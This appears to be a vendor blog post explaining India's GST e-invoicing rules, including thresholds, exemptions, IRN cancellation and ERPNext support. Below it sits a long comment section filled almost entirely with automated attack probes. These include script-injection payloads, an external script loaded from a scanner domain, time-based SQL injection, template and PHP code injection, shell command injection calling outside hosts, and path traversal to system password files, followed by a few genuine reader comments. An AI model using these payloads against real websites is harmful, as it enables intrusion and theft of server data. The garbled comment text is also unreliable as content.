An overview of the new E-Invoicing in GST (for India). What you should know.

e-Invoicing brings many advantages and simplifies B2B transactions in many ways. Let’s learn more about it for India.

 · 5 min read

From January 1, 2021, all businesses with turnover of more than ₹100cr must generate e-Invoices. Do you have things in place to comply with the government regulations? Let’s take a look at things you should know about E-Invoicing.

What is e-Invoicing?

E-Invoicing is an authentication system under GST that requires B2B companies to upload and authenticate their invoices via an online portal. After authentication, the invoices can be used on the GST portal and also enables some additional benefits. Each invoice will be authenticated uniquely with a separate Invoice Reference Number (IRN).

From October 1, 2020 to December 31, 2020, companies with turnover more than ₹500cr qualified. From 2021, with the ₹100cr threshold, even more companies will have to comply with e-Invoicing. The threshold is applicable where the turnover was above ₹100cr for the years 2017-18 to 2019-20.

The applicable companies will have to generate electronic invoices (e-Invoicing) which is an authentication mechanism under GST. E-Invoicing can be done via a GST Suvidha Provider (GSP) and for each e-Invoice, a unique IRN will be generated.

An important point to note is that the e-Invoice is not generated by the GST portal but is only reported to the portal electronically to get an IRN.

Why was e-Invoicing introduced?

With e-Invoicing, all applicable B2B invoices will have to go through a government portal. This removes questionable practices and tax leakage. But the benefits aren't for the government alone. GSTN says that with e-Invoicing, one of the goals is “To simplify exchange of documents between suppliers and buyers, just like sending/receiving e-mail”.

Businesses get benefits like:

  • Replaces a physical invoice copy with easier to use electronic system, hence, reduces mismatch errors
  • Reduce disputes in transactions between businesses due to reduced data entry errors
  • Real time viewing and tracking of invoices prepared by suppliers
  • No need generate separate e-Way bill, will be done together with e-Invoice
  • Accurate and faster input tax credit claims
  • Unified and automatic reporting of your GST filings, hence less chances of audits by tax authorities

E-invoicing can also have advantages over the old system like improving the payment cycle for the B2B industry and encouraging invoice discounting (invoice-based lending) to small and medium businesses.

What is in an E-Invoice? E-Invoice example/format

The e-Invoice format introduced in India is comprehensive and adheres to international industry standards. There are certain format guidelines to be followed before authenticating e-Invoices. But you don’t have to worry about this if your software is already ready for e-Invoicing.

For reference, as per the Goods and Services Tax Network (GSTN), e-Invoicing should contain a format similar to this:

  1. An E-Invoice Schema with field name and description. Indication for mandatory fields and optional fields and a few sample values with notes for explanation.
  2. Masters that specify inputs for fields pre-defined by the GSTN. Master fields include State Code, invoice type, supply type, unit of measure, etc.
  3. E-Invoice template as per the GST rules that will be universally applicable. This will help relate to terms used in other sheets.

Now here’s an example of a beautiful e-Invoice generated by ERPNext and ready for printing:

E-Invoice example

E-Invoicing process

To avoid any confusion, let’s reiterate that the invoices are not generated via the portal but only need to be uploaded and verified to comply with government regulations. We’ll not get into the detailed steps here but let’s see the flow of actions in e-Invoicing with the help of this diagram outlined as per GSTN:

EInvoicing flow

E invoicing FAQs

Let’s see and answer a few frequently asked questions about e-Invoicing.

What is the turnover/revenue limit for e-Invoicing?

From January 1, 2021, all businesses with turnover of more than ₹100cr should comply with e-Invoicing regulations under GST.

Which businesses are exempt from e-Invoicing?

The turnover threshold is applicable to all companies in most domains with a few exceptions:

  • Banking institutions
  • Financial Institutions
  • Insurance companies
  • Non-banking financial companies (NBFCs)
  • Goods transport agencies (GTA)
  • Passenger transportation services run by individuals or organizations
  • Registered movie theaters with multiplex screens
  • Special Economic Zones (SEZs)

Can I generate e-invoices if I’m not using ERP/accounting software?

Good question but with turnover over ₹100cr, if you’re not already using software to manage your data you may have bigger problems than e-Invoicing. To answer the question, technically yes with additional steps but it’s much simpler and faster to comply with e-Invoicing with a compliant software.

Can I cancel an e-Invoice?

Yes and a cancelled e-Invoice should be reported with IRN within 24 hours of cancellation. If not reported within the 24 hour period, the IRN associated with the e-Invoice needs to be cancelled manually on the portal before filing returns. Note that partial cancellation is not possible for e-Invoices.

What was the old system for e-Invoicing?

Businesses generated invoices using different software and were manually uploaded when filing GSTR-1 returns. This also left the transporters to generate e-Way bills manually, again. However, the new system puts together these pieces where filings, e-Way bill, etc all come together thereby reducing the number of steps to be taken.

For what kind of documents/transactions is e-Invoicing applicable?

Other than invoices by a supplier, e-Invoicing is also applicable to credit notes by supplier, debit notes by buyer, and any other documents notified as per GST laws.

For a full list of FAQs outlined in the official document by GST, check out the PDF by GSTN.

How to do e-Invoicing with EPRNext

With an e-Invoicing software ready ERP system like ERPNext, a lot of steps are simplified. Although, you need to do some setup before using it for the first time. After API registration, setting up user credentials, and authenticating GSP, and setting up ERPNext, you should be ready to get going with e-Invoicing.

You can generate IRNs from the Sales Invoice itself. Once you do that, you’ll see IRN and the QR code also be seen when printing:

Einvoicing IRN

After generating IRN, the regular Sales Invoice in ERPNext is now ready for printing as an e-Invoice. You can use the default print format or modify it to include/exclude fields.

You can also cancel IRNs from ERPNext itself. On cancellation, you’ll see something like this:

einvoicing erpnext

If applicable, you can also create and cancel e-Way bills in ERPNext. For more information on this visit the ERPNext documentation.

Conclusion

E-Invoicing is straightforward, you generate an invoice with software and upload it to the portal. Well integrated software takes care of most of these steps. We saw a good overview of e-Invoicing under GST with benefits, formats,some FAQs and saw how simple it is to handle with software.

ERPNext is e-Invoicing ready and to the best efforts has implemented features to comply with govt regulations with respect to e-Invoicing but it’s best to verify everything related with a certified CA so that no nuances or entries are missed.

ERPNext is einvoicing ready from v13, check it out in action by signing up for a trial.

References

  1. CBIC notification
  2. CBIC GST Update E-Invoicing system - GSTN
  3. GST e-invoice/IRN System FAQs - GSTN
  4. E-Invoice system user manual
  5. Other announcements/media

Prasad Ramesh

Marketing at Frappe.

Add a comment
Ctrl+Enter to add comment

S
1<rikqsU< 1 year ago

1

S
1<img sRc='http://attacker-9577/log.php? 1 year ago

1

S
1&lt;AKxnYC x=9110&gt; 1 year ago

1

S
1&lt;ScRiPt&gt;divn(9641)&lt;/sCripT&gt; 1 year ago

1

S
1\u003CScRiPt\divn(9248)\u003C/sCripT\u003E 1 year ago

1

S
%31%3C%53%63%52%69%50%74%20%3E%64%69%76%6E%289630%29%3C%2F%73%43%72%69%70%54%3E 1 year ago

1

S
1}}"}}'}}1%>"%>'%> 1 year ago

1

S
<th:t="${acx}#foreach 1 year ago

1

S
1 year ago

1

S
acux8308��z1��z2a�bcxuca8308 1 year ago

1

A
1 1 year ago

1

S
acu2108<s1﹥s2ʺs3ʹuca2108 1 year ago

1

S
1 1 year ago

'"()&%<acx><ScRiPt >C51Z(9394)</ScRiPt>

S
1 1 year ago

1

S
19362888 1 year ago

1

S
1 1 year ago

1'"()&%<acx><ScRiPt >C51Z(9182)</ScRiPt>

'&
1 1 year ago

1

S
'"()&amp;%&lt;acx&gt;&lt;ScRiPt &gt;divn(9436)&lt;/ScRiPt&gt; 1 year ago

1

S&
1 1 year ago

1

S
1'"()&amp;%&lt;acx&gt;&lt;ScRiPt &gt;divn(9353)&lt;/ScRiPt&gt; 1 year ago

1

S
1<img sRc='http://attacker-9538/log.php? 1 year ago

1

S
1 1 year ago

1<tCXZ4V x=9636>

S
1&lt;eJJ6xm x=9524&gt; 1 year ago

1

S
1&lt;ifRAme sRc=9353.com&gt;&lt;/IfRamE&gt; 1 year ago

1

S
1&lt;W4TRHB&gt;KM5N5[!+!]&lt;/W4TRHB&gt; 1 year ago

1

S
13sVcA &lt;ScRiPt &gt;CSIp(9878)&lt;/ScRiPt&gt; 1 year ago

1

S
1 1 year ago

1

S
1}body{acu:Expre/**/SSion(CSIp(9612))} 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

S
1&lt;ScRiPt&gt;CSIp(9709)&lt;/sCripT&gt; 1 year ago

1

S
1\u003CScRiPt\CSIp(9340)\u003C/sCripT\u003E 1 year ago

1

S
%31%3C%53%63%52%69%50%74%20%3E%43%53%49%70%289005%29%3C%2F%73%43%72%69%70%54%3E 1 year ago

1

S
1 1 year ago

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9011'>

S
1 1 year ago

1

S
1 1 year ago

1<ScRiPt >al87(9829)

S
1 1 year ago

1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9287></ScRiPt>

S
1 1 year ago

1<ScRiPt >al87(9245)</ScRiPt>

S
1&lt;ScRiPt &gt;CSIp(9070)&lt;/ScRiPt&gt; 1 year ago

1

S
1&lt;ScR&lt;ScRiPt&gt;IpT&gt;CSIp(9911)&lt;/sCr&lt;ScRiPt&gt;IpT&gt; 1 year ago

1

S
1 1 year ago

1<WQ7CGC>M4C7I[!+!]</WQ7CGC>

S
1 1 year ago

1<ScRiPt >al87(9499)</ScRiPt>

S
1&lt;ScRiPt &gt;CSIp(9461)&lt;/ScRiPt&gt; 1 year ago

1

A
1 1 year ago

1

S
1 1 year ago

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

S
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o") 1 year ago

1

"
1 1 year ago

1

S
1 1 year ago

acx${98991*97996}::.x

S
acx__${98991*97996}__::.x 1 year ago

1

S
acx[[${98991*97996}]]xca 1 year ago

1

A
1 1 year ago

1

A
1 1 year ago

1

S
1 1 year ago

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

S
1}}"}}'}}1%>"%>'%> 1 year ago

1

1
1 1 year ago

1

S
1 1 year ago

Comment

S
<th:t="${acx}#foreach 1 year ago

1

<
1 1 year ago

1

S
1 year ago

1

S
1 1 year ago

<%={{={@{#{${acx}}%>

?
1 1 year ago

1

S
acux2443��z1��z2a�bcxuca2443 1 year ago

1

S
1 1 year ago

acux2845��z1��z2a�bcxuca2845

A
1 1 year ago

1

S
1 1 year ago

acu2487<s1﹥s2ʺs3ʹuca2487

S
acu6491<s1﹥s2ʺs3ʹuca6491 1 year ago

1

A
1 1 year ago

1

S
1 1 year ago

19218852

S
1 1 year ago

1

S
19492916 1 year ago

1

'&
1 1 year ago

1

S
1 1 year ago

'"()&%<acx><ScRiPt >al87(9588)</ScRiPt>

S
'"()&amp;%&lt;acx&gt;&lt;ScRiPt &gt;CSIp(9971)&lt;/ScRiPt&gt; 1 year ago

1

S
1 1 year ago

1'"()&%<acx><ScRiPt >al87(9972)</ScRiPt>

S&
1 1 year ago

1

S
1'"()&amp;%&lt;acx&gt;&lt;ScRiPt &gt;CSIp(9246)&lt;/ScRiPt&gt; 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

@
1 1 year ago

1

1
1 1 year ago

1

1
1 1 year ago

1

S
1 1 year ago

1

IO
1 1 year ago

1

DO
1 1 year ago

1

BO
1 1 year ago

1

4W
1 1 year ago

1

(
1 1 year ago

1

0
1 1 year ago

1

0
1 1 year ago

1

S
1 1 year ago

1

S
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15) 1 year ago

1

S
0dFtiBSr') OR 924=(SELECT 924 FROM PG_SLEEP(15))-- 1 year ago

1

S
w8PTHaYg' OR 457=(SELECT 457 FROM PG_SLEEP(15))-- 1 year ago

1

S
-1)) OR 260=(SELECT 260 FROM PG_SLEEP(15))-- 1 year ago

1

S
-5) OR 42=(SELECT 42 FROM PG_SLEEP(15))-- 1 year ago

1

S
-1; waitfor delay '0:0:15' -- 1 year ago

1

S
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ 1 year ago

1

S
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z 1 year ago

1

S
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z 1 year ago

1

S
if(now()=sysdate(),sleep(15),0) 1 year ago

1

S
-1 OR 3+608-608-1=0+0+0+1 1 year ago

1

S
-1 OR 2+608-608-1=0+0+0+1 1 year ago

1

S
-1 OR 3+833-833-1=0+0+0+1 -- 1 year ago

1

S
-1 OR 2+833-833-1=0+0+0+1 -- 1 year ago

1

S
1 1 year ago

@@D6nDo

S
1 1 year ago

d07JNW6Z' OR 389=(SELECT 389 FROM PG_SLEEP(15))--

S
1<Z7Rvwf< 1 year ago

1

S
1<img sRc='http://attacker-9713/log.php? 1 year ago

1

S
1&lt;C5Aaxh x=9425&gt; 1 year ago

1

S
1&lt;ifRAme sRc=9491.com&gt;&lt;/IfRamE&gt; 1 year ago

1

S
1&lt;WOUKSO&gt;QL3T7[!+!]&lt;/WOUKSO&gt; 1 year ago

1

S
14RA2R &lt;ScRiPt &gt;93Yb(9034)&lt;/ScRiPt&gt; 1 year ago

1

S
1 1 year ago

1

S
1}body{acu:Expre/**/SSion(93Yb(9604))} 1 year ago

1

S
1&lt;ScR&lt;ScRiPt&gt;IpT&gt;93Yb(9238)&lt;/sCr&lt;ScRiPt&gt;IpT&gt; 1 year ago

1

S
1&lt;script&gt;93Yb(9219)&lt;/script&gt; 1 year ago

1

S
1 1 year ago

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

S
1 1 year ago

acx${98991*97996}::.x

S
1 1 year ago

acx[[${98991*97996}]]xca

S
1}}"}}'}}1%>"%>'%> 1 year ago

1

S
1 1 year ago

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

S
1 1 year ago

Comment

S
<th:t="${acx}#foreach 1 year ago

1

S
1 year ago

1

S
1 1 year ago

<%={{={@{#{${acx}}%>

S
1 1 year ago

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

S
1 1 year ago

acux8818��z1��z2a�bcxuca8818

S
acux9989��z1��z2a�bcxuca9989 1 year ago

1

S
acu5135<s1﹥s2ʺs3ʹuca5135 1 year ago

1

S
1 1 year ago

acu2824<s1﹥s2ʺs3ʹuca2824

S
19989738 1 year ago

1

S
1 1 year ago

19313019

S
'"()&amp;%&lt;acx&gt;&lt;ScRiPt &gt;93Yb(9887)&lt;/ScRiPt&gt; 1 year ago

1

S
1 1 year ago

'"()&%<acx><ScRiPt >78Wq(9728)</ScRiPt>

S
1'"()&amp;%&lt;acx&gt;&lt;ScRiPt &gt;93Yb(9770)&lt;/ScRiPt&gt; 1 year ago

1

S
1 1 year ago

1'"()&%<acx><ScRiPt >78Wq(9431)</ScRiPt>

S
1 1 year ago

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

S
1 1 year ago

if(now()=sysdate(),sleep(15),0)

S
1 1 year ago

-1 OR 3*2<(0+5+10-10) --

S
1 1 year ago

-1 OR 3+10-10-1=0+0+0+1 --

S
1 1 year ago

YrfAOMxg

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
<th:t="${acx}#foreach 1 year ago

1

S
1 year ago

1

S
19418100 1 year ago

1

S
'"()&amp;%&lt;acx&gt;&lt;ScRiPt &gt;6FJO(9885)&lt;/ScRiPt&gt; 1 year ago

1

S
1'"()&amp;%&lt;acx&gt;&lt;ScRiPt &gt;6FJO(9643)&lt;/ScRiPt&gt; 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

'+'A'.concat(70-3).concat(22*4).concat(97).concat(67).concat(106).concat(77)+(require'socket' Socket.gethostbyname('hitrd'+'sfjncyvp500cf.bxss.me.')[3].to_s)+'

S
1 1 year ago

1

S
bxss.me/t/xss.html?%00 1 year ago

1

S
HttP://bxss.me/t/xss.html?%00 1 year ago

1

S
1 1 year ago

bxss.me/t/xss.html?%00

S
1 1 year ago

${@print(md5(31337))}\

S
1 1 year ago

${@print(md5(31337))}

S
1 1 year ago

";print(md5(31337));$a="

S
1 1 year ago

';print(md5(31337));$a='

S
1 1 year ago

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

!
1 1 year ago

1

)
1 1 year ago

1

S
1 1 year ago

1

S
^(#$!@#$)(()))****** 1 year ago

1

"
1 1 year ago

1

S
!(()&&!|*|*| 1 year ago

1

'
1 1 year ago

1

S
) 1 year ago

1

S
".gethostbyname(lc("hityu"."ukzmhbbpa4e88.bxss.me."))."A".chr(67).chr(hex("58")).chr(99).chr(67).chr(99).chr(82)." 1 year ago

1

S
1 1 year ago

bxss.me

S
'.gethostbyname(lc('hitch'.'glzmgufo7f305.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(68).chr(113).chr(84).' 1 year ago

1

S
1 1 year ago

1someinexistentfilewithlong_name.jpg

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

G
1 1 year ago

1

S
12345'"\'\");|]*{ �''? 1 year ago

1

S
1 year ago

1

S
1 1 year ago

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

S
1 1 year ago

12345'"\'\");|]*{ <>�''?

S
1 1 year ago

../../../../../../../../../../etc/passwd.jpg

S
1 1 year ago

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

S
1 1 year ago

../../../../../../../../../../../../../../../proc/version

S
1 1 year ago

./1

S
1 1 year ago

$(nslookup hitpieyenakrx8a99f.bxss.me||perl -e "gethostbyname('hitpieyenakrx8a99f.bxss.me')")

S
1 1 year ago

(nslookup hitlnurqqeqexa226b.bxss.me||perl -e "gethostbyname('hitlnurqqeqexa226b.bxss.me')")

S
1 1 year ago

1

S
1 1 year ago

|echo xcgysy$()\ bbyltu\nz^xyu||a #' |echo xcgysy$()\ bbyltu\nz^xyu||a #|" |echo xcgysy$()\ bbyltu\nz^xyu||a #

S
1 1 year ago

../../../../../../../../../../../../../../windows/win.ini

S
1 1 year ago

&echo vecnko$()\ rljsdj\nz^xyu||a #' &echo vecnko$()\ rljsdj\nz^xyu||a #|" &echo vecnko$()\ rljsdj\nz^xyu||a #

S
1 1 year ago

../../../../../../../../../../../../../../etc/passwd

S
1 1 year ago

echo gjksye$()\ mqptha\nz^xyu||a #' &echo gjksye$()\ mqptha\nz^xyu||a #|" &echo gjksye$()\ mqptha\nz^xyu||a #

S
1 1 year ago

1

S
1 1 year ago

1

S
1 1 year ago

1

1
1 1 year ago

1

S
1f4DIF92O 1 year ago

1

S
1 1 year ago

1Mlt778YO

S
1 1 year ago

1

D
Dwarkanath Bari 2 years ago

Hi we are done with the configuration for e-invoicing but when we generate IRN showing the error message The field address line 1 must be a string with a minimum length of 1 and a maximum of 100 same for the address2 in our addresses 1 and 2 there are numbers/special characters and strings. If we keep only characters in that case same error showing for generating IRN.

tanvi 3 years ago

Great post and very informative article about E-invoicing

V
Vikas 3 years ago

Excellent clarification on E Invoicing Start using E-Invoice at our end through ERPNext works fine,